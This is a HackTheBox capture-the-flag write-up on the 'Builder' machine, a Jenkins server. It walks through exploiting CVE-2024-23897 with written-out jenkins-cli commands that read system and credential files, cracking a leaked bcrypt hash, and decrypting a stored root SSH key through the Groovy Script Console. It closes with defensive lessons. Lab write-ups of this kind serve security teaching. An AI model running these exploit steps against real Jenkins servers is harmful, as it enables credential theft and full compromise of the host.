HTB: Builder Writeup

Builder - HackTheBox Writeup

Machine Information

AttributeDetails
NameBuilder
OSLinux
DifficultyMedium
PointsN/A
Release Date8th Feb 2024
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Builder is a Linux machine built entirely around a single exposed service: a Jenkins CI/CD instance. The installed Jenkins version is vulnerable to CVE-2024-23897, an unauthenticated arbitrary file read in the Jenkins CLI command parser. Abusing that flaw against Jenkins’ own internal user database leaks the bcrypt password hash for a second Jenkins user, jennifer, which cracks offline. Logging into Jenkins as jennifer exposes a credential object named root — an SSH private key stored (client-side “encrypted”) in Jenkins’ credential store for use in build pipelines. Because Jenkins itself holds the key needed to decrypt anything in that store, the Jenkins Script Console can be used to call hudson.util.Secret.decrypt() directly on the captured ciphertext, recovering the plaintext root SSH key and yielding a direct root shell on the host.

TL;DR: CVE-2024-23897 Jenkins arbitrary file read → leak + crack jennifer’s bcrypt password hash → log into Jenkins as jennifer → locate the root SSH credential in the Jenkins credential store → decrypt it via the Jenkins Groovy Script Console (hudson.util.Secret.decrypt) → SSH to the host as root.


Reconnaissance

Port Scanning

Terminal window
# full TCP sweep, then version/script scan against discovered ports
nmap -p- --min-rate=1000 -T4 <TARGET_IP>
nmap -p22,8080 -sC -sV <TARGET_IP>

Results: Two services exposed:

  • 22/tcp — OpenSSH
  • 8080/tcp — HTTP, fingerprinted as a Jenkins dashboard (Dashboard [Jenkins] page title)

With no valid SSH credentials up front, Jenkins on 8080 is the only viable entry point.

Service Enumeration

Browsing to the Jenkins root page confirms it’s an unauthenticated (or anonymous-read-permitted) instance — the footer discloses the running Jenkins version, which is checked against known Jenkins CVEs.

Vulnerability Assessment

The disclosed Jenkins version is affected by CVE-2024-23897: the Jenkins CLI command parser expands @-prefixed arguments into local file reads before authentication is enforced, so any CLI command can be abused to read arbitrary files off the Jenkins controller filesystem as an unauthenticated user, provided the Jenkins CLI endpoint is reachable.


Initial Foothold

Exploitation Path

1. Fetch the CLI client and confirm the arbitrary file read.

Jenkins conveniently serves its own CLI jar, which is the tool used to trigger the vulnerable argument-parsing path:

Terminal window
# grab the CLI jar directly from the target Jenkins instance
wget http://<TARGET_IP>:8080/jnlpJars/jenkins-cli.jar
# CVE-2024-23897: '@file' as a CLI arg is expanded and its contents fed into the parser,
# leaking file content in the resulting error/output
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \
help "@/etc/passwd"

The help command being fed @/etc/passwd causes Jenkins to read the file and echo lines of it back inside the “too many arguments” error, confirming the read primitive works pre-auth.

2. Locate JENKINS_HOME and pull user.txt.

Terminal window
# leak process environment to find the real Jenkins home directory
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \
help "@/proc/self/environ"

The environment dump confirms JENKINS_HOME=/var/jenkins_home (and a container-style hostname, indicating Jenkins runs inside Docker). From there:

Terminal window
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \
help "@/var/jenkins_home/user.txt"

recovers the user flag.

3. Map Jenkins usernames to their on-disk hash files.

Jenkins stores each user’s directory name (username + a random numeric suffix) in users/users.xml, and the help command only leaks the first couple of lines of longer files. Switching to the connect-node command instead dumps the entire file content into the “no such agent” error text — this only works because the instance has denyAnonymousReadAccess disabled, i.e. anonymous users retain read access:

Terminal window
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \
connect-node "@/var/jenkins_home/users/users.xml"

This reveals the second Jenkins account, jennifer, and its backing directory. Pulling that user’s config.xml the same way exposes the stored jBCrypt password hash:

Terminal window
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://<TARGET_IP>:8080' \
connect-node "@/var/jenkins_home/users/jennifer_<suffix>/config.xml"

4. Crack the hash offline.

Terminal window
# jbcrypt hash cracked against rockyou
john jennifer_hash.txt -w=/usr/share/wordlists/rockyou.txt

The cracked plaintext gives valid Jenkins web-UI credentials for jennifer.

Note on this run: the jump box’s /tmp was full, so all downloaded tooling (the CLI jar, wordlists, working files) was routed through /dev/shm instead to keep the exploitation chain unblocked.

Logging into the Jenkins dashboard as jennifer opens up the full authenticated attack surface, including the credentials store.


Privilege Escalation

Inside Jenkins as jennifer, the credentials store contains an SSH private key credential named root — almost certainly staged there for a deployment pipeline that SSHes into the host. Jenkins never displays stored secrets in plaintext through the UI, but it does hold the AES key needed to decrypt anything in its own credentials.xml/secrets store, and that decryption routine is reachable from the Jenkins Groovy Script Console (/script), which any user with Script Console access (typically admin-equivalent, granted here via jennifer) can execute arbitrary Groovy in.

1. Capture the encrypted blob.

Opening the root credential’s update/edit page and inspecting the “Concealed for Confidentiality” field via browser devtools reveals the raw encrypted secret string ({AQAAABAA...} form).

2. Decrypt it via the Script Console.

// hudson.util.Secret is what Jenkins itself uses to encrypt/decrypt stored credentials —
// running this in /script (as an authenticated user with Script Console rights) uses
// Jenkins' own master key to reverse it
println(hudson.util.Secret.decrypt("{AQAAABAA...encrypted-blob...}"))

The output is the plaintext root SSH private key.

3. Use the recovered key to SSH in as root.

Terminal window
# save recovered key, fix permissions, connect
chmod 600 root_key
ssh -i root_key root@<TARGET_IP>
# verify
id
# uid=0(root) gid=0(root) groups=0(root)

Root flag retrieved from /root/root.txt.

Why this works: Jenkins credentials are only as “secret” as the Jenkins instance protecting them — anyone who can execute Groovy on the controller (Script Console access) can call the exact same decryption routine Jenkins uses internally, turning any encrypted credential in the store into plaintext on demand. Storing a host-root SSH key inside Jenkins’ credential store means compromising Jenkins is equivalent to compromising root on every machine that key unlocks.


Attack Chain Summary

Jenkins CVE-2024-23897 (unauth arbitrary file read)
→ leak /proc/self/environ → JENKINS_HOME → user.txt
→ leak users.xml → map username to hash directory
→ leak jennifer's config.xml → jbcrypt password hash
→ crack hash (john + rockyou) → jennifer:<cracked password>
→ authenticate to Jenkins web UI as jennifer
→ locate 'root' SSH credential in Jenkins credential store
→ Jenkins Script Console: hudson.util.Secret.decrypt(blob) → plaintext root SSH key
→ ssh -i root_key root@target → root

Tools Used

ToolPurpose
nmapPort/service discovery
jenkins-cli.jarTriggering CVE-2024-23897 arbitrary file read
john (rockyou.txt)Cracking jennifer’s jBCrypt hash
Jenkins Web UI / Credentials StoreLocating the stored root SSH credential
Jenkins Script Console (/script)Running Groovy (hudson.util.Secret.decrypt) to decrypt the SSH key
sshFinal root access using the recovered key

Key Learnings

Techniques Practiced

  • Exploiting CVE-2024-23897 (Jenkins CLI @file arbitrary file read) pre-authentication
  • Enumerating Jenkins’ internal directory layout (JENKINS_HOME, users/users.xml, per-user config.xml) to pivot from anonymous read to a named account’s password hash
  • Using connect-node instead of help to exfiltrate full file contents when Jenkins CLI error messages truncate output
  • Cracking jBCrypt Jenkins password hashes offline
  • Abusing the Jenkins Groovy Script Console to call Jenkins’ own hudson.util.Secret.decrypt() and recover “encrypted” stored credentials in plaintext

Lessons Learned

  1. Anonymous read access on Jenkins (denyAnonymousReadAccess: false) combined with CVE-2024-23897 is enough to fully map and dump internal user credential stores without any authentication.
  2. Credentials Jenkins presents as “encrypted”/“concealed” are only opaque in the UI — anything reachable from the Script Console can trivially reverse them, because Jenkins itself must be able to decrypt them for use in builds.
  3. Never store host-level credentials (especially root SSH keys) inside a CI/CD system’s credential store unless that system’s own compromise is an acceptable blast radius — Jenkins access effectively became root access here.
  4. When local scratch space (/tmp) is constrained during a live engagement, /dev/shm is a reliable fallback for staging tooling without losing momentum.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References